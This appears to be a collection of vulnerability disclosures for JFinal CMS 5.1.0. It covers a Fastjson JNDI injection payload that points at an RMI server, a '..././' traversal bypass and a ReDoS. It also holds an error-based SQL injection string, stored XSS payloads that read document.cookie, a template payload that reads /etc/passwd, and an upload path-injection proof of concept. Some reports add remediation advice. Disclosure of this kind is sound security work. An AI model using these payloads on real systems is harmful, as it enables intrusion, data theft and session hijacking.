java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

Regex sanitizer bypass to arbitrary file read and directory traversal

admin login required.

FileManager.java

	private String sanitize(String var) {
		String sanitized = var.replaceAll("\\<.*?>", "");
		sanitized = sanitized.replaceAll("http://", "");
		sanitized = sanitized.replaceAll("https://", "");
		sanitized = sanitized.replaceAll("\\.\\./", "");
		return sanitized;
	}

regex expression "\.\./" is designed to filter out "../" while "..././" totally bypasses it. it leads to arbitrary file read and directory traversal using admin portal's file manager.

"../" won't work

"..././" works.

[SECURITY] Denial of service because of unsafe regex processing

I have tried to contact you by [email protected] and created #22 asking for the contact. Nobody replied.

The JFinal_cms is vulnerable to regex injection that may lead to Denial of Service.

User controlled path and contextPath are used to build and run a regex expression (first argument to replaceFirst):

jfinal_cms/src/main/java/com/jflyfox/modules/filemanager/FileManager.java

Lines 929 to 949 in 1a96532

	protected String getFilePath() {
	String path = this.get.get("path");
	return getFilePath(path);
	}
	/**
	* get File Path
	* <p>
	* 2016年2月26日 下午3:47:37 flyfox [email protected]
	*
	* @return
	*/
	protected String getFilePath(String path) {
	String contextPath = this.get.get("contextPath");
	// 根目录
	if (StrUtils.isEmpty(contextPath)) {
	return path;
	}
	if (path.startsWith(contextPath)) {
	path = path.replaceFirst(contextPath, "");

Since the attacker controls the string and the regex pattern he may cause a ReDoS by regex catastrophic backtracking on the server side.

SQL injection vulnerability exists in JFinal CMS 5.1.0

Vulnerability Analysis

The vulnerability appears in lines 23-28 of the com.jflyfox.system.dict.DictController.java

The attrVal parameter is the attr.dict_type parameter passed from the front end
So you can construct payload to exploit this vulnerability

Exploit

Maven Startup Environment
Vulnerability address: /jfinal_cms/system/dict/list
Administrator login is required. The default account password is admin:admin123

Injection parameters: attr.dict_type

payload：' OR (SELECT 2896 FROM(SELECT COUNT(*),CONCAT(0x717a7a6271efbd9e,(SELECT (ELT(2896=2896,user()))),0xefbd9e7162707a7131,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--+

Sqlmap:

XSS vulnerability1 in jfinal_cms 5.1.0

There is a stored XSS vulnerability in JFinal_cms 's publish blog module. An attacker could insert malicious XSS code into the post title. When users and administrators view the blog post, the malicious XSS code is triggered successfully.

First register a user to test it, then go to the submit blog post page and insert the malicious XSS code in the subject field

Payload : test1" onmouseover="alert(document.cookie)

Successfully executed malicious XSS code:

A Stored XSS vulnerability exists in jfinal_cms v5.1.0

There is a storage XSS vulnerability in the blog post of jfinal_ CMS. An attacker can register an account first, then insert malicious XSS code in the post post, and then successfully trigger XSS attack when the administrator or other users view the post.
First, register a user test, publish the blog, and insert the malicious XSS attack code in the title of the blog post:
Payload：
test<img src=x oneerror=alert(document.cookie);>

XSS code can be triggered successfully when viewing the blog post


Because the blog is visible to any user, XSS code can be triggered when any other user views the blog. Here is an example of viewing the blog as an administrator:

XSS code triggered successfully:

Suggestion: strictly filter the input and code the output

Arbitrary file reading vulnerability exists

Enter the background, edit /template/includes/jquery.html in the template management , poc is as follows

${printFile('../../../../../../../../../../../../../../../etc/passwd')}

Reopen the homepage http://localhost:8877/jfinal_cms/ , can see /etc/passwd

There is an xss vulnerability of HTTP header injection storage in jfinal_cms V5.1.0

There is a storage XSS vulnerability in the guest TOP10 of jfinal_cms. TOP10 will display the ip of the user, but it can be modified by X-Forwarded-For, where the attacker can insert malicious XSS code. When the administrator logs in, the malicious XSS code triggers successfully.

payload: X-Forwarded-For: 192.168.1.1<script>alert ("xss")</script>

In the background login interface, enter the account password randomly, fill in the correct verification code, and then submit and grab the package.

The contents of the grab bag are as follows:

Add an X-Forwarded-For here and enter paylaod (192.168.1.1<script>alert ("xss")</script>)

Then log in with the background administrator account to trigger the storage XSS.

Safety advice:
Strictly filter the user's input
Strict control of page rendering content

SQLI vul3 in jfinal_cms 5.1.0

There is a SQLI vul in background mode.The route is as following

vulnerable argument passing is as following

final injection result with sqlmap

tested on latest version jfinal_cms 5.1.0

jfinal_cms 5.1.0 file path injection vulnerability

There is a CWE-073 - file path injection vulnerability with the upload controller.

If an admin user uploads a malicious file with injected path e.g. https://<jfinal_cms.site>/jfinal_cms/system/upload?uploadPath=../../../, the application will either serve malicious web pages or overwrite important system files.

A sample page to trigger the upload functionality is as follows:

<html>
        <body>
        <form method="post" action="https://<jfinal_cms.site>/jfinal_cms/system/upload?uploadPath=../../../" enctype="multipart/form-data" id="myfile">
                <input type="file" name="file">
                <input type="submit" value="Upload">
        </form>
        </body>
</html> 

The following sample XHTML file with JavaScript payload was used to showcase sensitive information like cookies can be leaked:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
<script type="text/javascript">
      alert(document.cookie);
</script>
<h1>POC</h1>
</body>
</html>

The XHTML file was successfully uploaded to the webroot directory, which broke out of the intended directory /upload/jflyfox/bbs/.

Accessing the file will leak session cookies, which confirmed the file path injection vulnerability:

Unsanitized user provided data must not be used to construct the file path. In order to prevent File
Path Injection, it is recommended to avoid concatenating user input directly into the file path. Instead,
user input should be checked against allowed (e.g., must come within user_content/) or disallowed
(e.g. must not come within /internal) paths, ensuring that neither path traversal using ../
nor URL encoding is used to evade these checks.

Please consider to fix the issue. Thanks.